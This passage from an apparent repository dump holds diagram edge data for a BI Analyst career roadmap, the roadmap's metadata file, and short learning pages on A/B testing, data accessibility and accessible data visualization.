\"xy-edge__eoLdywVPgNoGTHBQpLWRhz2-yseEaLsEzIcqJ0YIoGujly1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ExHCSUDxDBwsJtTelvxjP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"yseEaLsEzIcqJ0YIoGujl\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__ExHCSUDxDBwsJtTelvxjPx2-yseEaLsEzIcqJ0YIoGujlw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yseEaLsEzIcqJ0YIoGujl\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qKlo90-Cy8t_off5Qv8-6\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__yseEaLsEzIcqJ0YIoGujlx2-qKlo90-Cy8t_off5Qv8-6w1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZGazuCNruu09bd7C-aSFC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"eZN_ty8VDX9mi5KtCWTFL\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__ZGazuCNruu09bd7C-aSFCx2-eZN_ty8VDX9mi5KtCWTFLw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZGazuCNruu09bd7C-aSFC\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"eoLdywVPgNoGTHBQpLWRh\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__ZGazuCNruu09bd7C-aSFCy2-eoLdywVPgNoGTHBQpLWRhz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eoLdywVPgNoGTHBQpLWRh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TBcLXYtKs7_j_h_m2pAyh\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__eoLdywVPgNoGTHBQpLWRhy2-TBcLXYtKs7_j_h_m2pAyhz2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TBcLXYtKs7_j_h_m2pAyh\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"Slg3fXGPTa-Z4sdZY86XK\",\n      \"targetHandle\": \"x2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__TBcLXYtKs7_j_h_m2pAyhw2-Slg3fXGPTa-Z4sdZY86XKx2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TBcLXYtKs7_j_h_m2pAyh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mi88uLdJBXaxJ2yVOSqqo\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__TBcLXYtKs7_j_h_m2pAyhx2-mi88uLdJBXaxJ2yVOSqqow1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mi88uLdJBXaxJ2yVOSqqo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"r8NoX426-ngu6ZQZe06oK\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__mi88uLdJBXaxJ2yVOSqqoz2-r8NoX426-ngu6ZQZe06oKy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mi88uLdJBXaxJ2yVOSqqo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"vDQF2oaybSewNu3EMs6zG\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__mi88uLdJBXaxJ2yVOSqqoz2-vDQF2oaybSewNu3EMs6zGy2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mi88uLdJBXaxJ2yVOSqqo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"r-m88g8xrUnuEpV2lHJfN\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__mi88uLdJBXaxJ2yVOSqqoz2-r-m88g8xrUnuEpV2lHJfNy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mi88uLdJBXaxJ2yVOSqqo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NFKiPXrkjRre1yUZc27gl\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__mi88uLdJBXaxJ2yVOSqqoz2-NFKiPXrkjRre1yUZc27gly1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mi88uLdJBXaxJ2yVOSqqo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OmhvVSTtzH5sxOIZRVYfQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__mi88uLdJBXaxJ2yVOSqqoz2-OmhvVSTtzH5sxOIZRVYfQy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mi88uLdJBXaxJ2yVOSqqo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Sy3AiIS9B845Ua4TTAFG7\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__mi88uLdJBXaxJ2yVOSqqox2-Sy3AiIS9B845Ua4TTAFG7w1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Sy3AiIS9B845Ua4TTAFG7\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"bGCMAgaenZ0t3WeO5joyP\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__Sy3AiIS9B845Ua4TTAFG7x2-bGCMAgaenZ0t3WeO5joyPw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bGCMAgaenZ0t3WeO5joyP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"F21ypKzpziLCXkiKG1S5Z\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__bGCMAgaenZ0t3WeO5joyPz2-F21ypKzpziLCXkiKG1S5Zy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F21ypKzpziLCXkiKG1S5Z\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"Vb06K0D2vWAlSe95QJrth\",\n      \"targetHandle\": \"x1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__F21ypKzpziLCXkiKG1S5Zw2-Vb06K0D2vWAlSe95QJrthx1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Vb06K0D2vWAlSe95QJrth\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9aNVqEyygNGeicdce5X8b\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__Vb06K0D2vWAlSe95QJrthz2-9aNVqEyygNGeicdce5X8by2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9aNVqEyygNGeicdce5X8b\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"5MUwKGfSTKlam8KCG0A1U\",\n      \"targetHandle\": \"x2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__9aNVqEyygNGeicdce5X8bw2-5MUwKGfSTKlam8KCG0A1Ux2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9aNVqEyygNGeicdce5X8b\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"fuxGZx3WGjP2TzzVV29ux\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__9aNVqEyygNGeicdce5X8bx2-fuxGZx3WGjP2TzzVV29uxw1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fuxGZx3WGjP2TzzVV29ux\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VXtmQqoogFdzcnO_XU5uy\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__fuxGZx3WGjP2TzzVV29uxy2-VXtmQqoogFdzcnO_XU5uyz2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fuxGZx3WGjP2TzzVV29ux\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"lAcFmIlGbrKeNRR9wWFau\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__fuxGZx3WGjP2TzzVV29uxy2-lAcFmIlGbrKeNRR9wWFauz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lAcFmIlGbrKeNRR9wWFau\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Zxuvc9F3bINLTdfbsx_S_\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__lAcFmIlGbrKeNRR9wWFaux2-Zxuvc9F3bINLTdfbsx_S_w1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zxuvc9F3bINLTdfbsx_S_\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"iqpVtvoebAaoB_Dj9-gdw\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Zxuvc9F3bINLTdfbsx_S_z2-iqpVtvoebAaoB_Dj9-gdwy2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zxuvc9F3bINLTdfbsx_S_\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wJiKBbTMLhIzelUtKn7jl\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Zxuvc9F3bINLTdfbsx_S_z2-wJiKBbTMLhIzelUtKn7jly2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zxuvc9F3bINLTdfbsx_S_\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"zGU6DyEm6xEYf1_73cbjL\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Zxuvc9F3bINLTdfbsx_S_z2-zGU6DyEm6xEYf1_73cbjLy1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zxuvc9F3bINLTdfbsx_S_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Dk31XtS7wWRzO31sdsEDo\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__Zxuvc9F3bINLTdfbsx_S_y2-Dk31XtS7wWRzO31sdsEDoz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fFzCnLfZ_vSbhQjdAKLlJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Du4GD-6pxbWYl4uSJRnOE\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__fFzCnLfZ_vSbhQjdAKLlJz2-Du4GD-6pxbWYl4uSJRnOEy2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lAK9QVs97hL3ysjz2blp8\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qnUHw2f2VmTPU3-NMnoLl\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__lAK9QVs97hL3ysjz2blp8z2-qnUHw2f2VmTPU3-NMnoLly1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UIdwl_KLELI8xL2VxYJmX\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qvPTiDbsY5ol_K-BNLmzk\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__UIdwl_KLELI8xL2VxYJmXy2-qvPTiDbsY5ol_K-BNLmzkz2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UIdwl_KLELI8xL2VxYJmX\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yvSf7sGEd7QiaVoetalHc\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__UIdwl_KLELI8xL2VxYJmXy2-yvSf7sGEd7QiaVoetalHcz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UIdwl_KLELI8xL2VxYJmX\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"3xDVJwdl3uu5EcjlZ1ytA\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__UIdwl_KLELI8xL2VxYJmXy2-3xDVJwdl3uu5EcjlZ1ytAz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Du4GD-6pxbWYl4uSJRnOE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"6kzp12lpxM1owSqKDwL5k\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__Du4GD-6pxbWYl4uSJRnOEz2-6kzp12lpxM1owSqKDwL5kw2\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6kzp12lpxM1owSqKDwL5k\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"UIdwl_KLELI8xL2VxYJmX\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__6kzp12lpxM1owSqKDwL5ky2-UIdwl_KLELI8xL2VxYJmXz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UIdwl_KLELI8xL2VxYJmX\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"tUxwKTml2Go8zR9tR3cjn\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__UIdwl_KLELI8xL2VxYJmXx2-tUxwKTml2Go8zR9tR3cjnw2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TojDB4o0i2rs7Qcb10k1r\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4XM5ikPiHVehEtT4AB-Ea\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__TojDB4o0i2rs7Qcb10k1ry2-4XM5ikPiHVehEtT4AB-Eaz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TojDB4o0i2rs7Qcb10k1r\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qsCWo1CmR4mvy7E7qlPv5\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__TojDB4o0i2rs7Qcb10k1ry2-qsCWo1CmR4mvy7E7qlPv5z2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TojDB4o0i2rs7Qcb10k1r\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"k3F9Tdqo3XYgMLOKGjpxA\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__TojDB4o0i2rs7Qcb10k1ry2-k3F9Tdqo3XYgMLOKGjpxAz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TojDB4o0i2rs7Qcb10k1r\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"m9EwcekZ_l0XHiKeQ8emr\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__TojDB4o0i2rs7Qcb10k1ry2-m9EwcekZ_l0XHiKeQ8emrz1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q98GaitxocEha4zZ9d254\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YovS5Dbcr6g_8PMr8jp5t\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Q98GaitxocEha4zZ9d254z2-YovS5Dbcr6g_8PMr8jp5ty1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q98GaitxocEha4zZ9d254\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"UDF8wyYT8127wfFHcq37P\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Q98GaitxocEha4zZ9d254z2-UDF8wyYT8127wfFHcq37Py2\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q98GaitxocEha4zZ9d254\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aTGsJj7Ntv5BWIzjaqvu_\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Q98GaitxocEha4zZ9d254z2-aTGsJj7Ntv5BWIzjaqvu_y1\",\n      \"selected\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q98GaitxocEha4zZ9d254\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"X8U-NQD0rYqFr_xgDWL2s\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__Q98GaitxocEha4zZ9d254z2-X8U-NQD0rYqFr_xgDWL2sy1\",\n      \"selected\": true,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/bi-analyst.md",
    "content": "---\npdfUrl: '/pdfs/roadmaps/bi-analyst.pdf'\njsonUrl: '/jsons/roadmaps/bi-analyst.json'\norder: 21\ntitle: 'BI Analyst'\ndescription: 'Learn to become a Business Intelligence Analyst in 2025'\nbriefTitle: 'BI Analyst'\nbriefDescription: 'Learn to become a Business Intelligence Analyst in 2025'\nhasTopics: true\nisHidden: false\nisUpcoming: false\nisNew: true\ndimensions:\n  width: 968\n  height: 5120\nschema:\n  headline: 'BI Analyst'\n  description: 'Learn what business intelligence analysis is, what BI analysts do and how to become one using our community-driven roadmap.'\n  datePublished: '2025-08-21'\n  dateModified: '2025-08-21'\n  imageUrl: 'https://roadmap.sh/roadmaps/bi-analyst.png'\nseo:\n  title: 'BI Analyst'\n  description: 'Learn what business intelligence analysis is, what BI analysts do and how to become one using our community-driven roadmap.'\n  keywords:\n    - 'bi analyst'\n    - 'bi analyst roadmap'\n    - 'bi analyst roadmap 2025'\n    - 'Business Intelligence'\n    - 'become a BI Analyst'\n    - 'data analytics'\n    - 'business intelligence analyst'\n    - 'analytical skills'\n    - 'data visualization'\n    - 'career roadmap'\nrelatedRoadmaps:\n  - 'data-analyst'\n  - 'sql'\n  - 'python'\n  - 'ai-data-scientist'\nsitemap:\n  priority: 1\n  changefreq: monthly\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\nrenderer: editor\n---\n"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/ab-testing@qKlo90-Cy8t_off5Qv8-6.md",
    "content": "# A/B Testing\n\nA/B testing, also known as split testing, is a method of comparing two versions of something to determine which one performs better. This is done by showing the two versions (A and B) to similar audiences and measuring which version achieves a specific goal, such as a higher click-through rate or conversion rate. The version that performs better is then implemented.\n\nVisit the following resources to learn more:\n\n- [@article@A/B Testing](https://en.wikipedia.org/wiki/A/B_testing)\n- [@article@A Refresher on A/B Testing](https://hbr.org/2017/06/a-refresher-on-ab-testing)\n- [@video@How to Do A/B Testing: 15 Steps for the Perfect Split Test](https://www.youtube.com/watch?v=vV3g5VuSrIQ)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/accesibility@BiyrAHB34evej_0cnDzOa.md",
    "content": "# Data Accessibility\n\nData accessibility refers to the ease with which individuals or systems can locate, retrieve, and utilize data. It encompasses factors like data discoverability, format compatibility, and the presence of appropriate permissions and tools. Ensuring data is accessible is crucial for effective analysis, reporting, and decision-making, as it allows users to readily leverage available information."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/accessibility@wtEzdO_ZNu9jHJrFS3CrG.md",
    "content": "# Accessibility in Data Visualization\n\nAccessibility in data visualization focuses on designing charts and graphs that are usable by everyone, including people with disabilities. This involves considering factors like color contrast, alternative text for screen readers, keyboard navigation, and clear data labels to ensure that the information presented is understandable and interpretable regardless of a user's abilities or assistive technology.\n\nVisit the following resources to learn more:\n\n- [@article@10 Guidelines for DataViz Accessibility](https://www.highcharts.com/blog/tutorials/10-guidelines-for-dataviz-accessibility/)\n- [@article@5 Crucial Tweaks That Will Make Your Charts Accessible to People with Visual Impairments](https://towardsdatascience.com/5-crucial-tweaks-that-will-make-your-charts-accessible-to-people-with-visual-impairments/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Accessibility in Data Visualisation](https://www.youtube.com/watch?v=OOPeS_xWoKQ)"
  },
  {
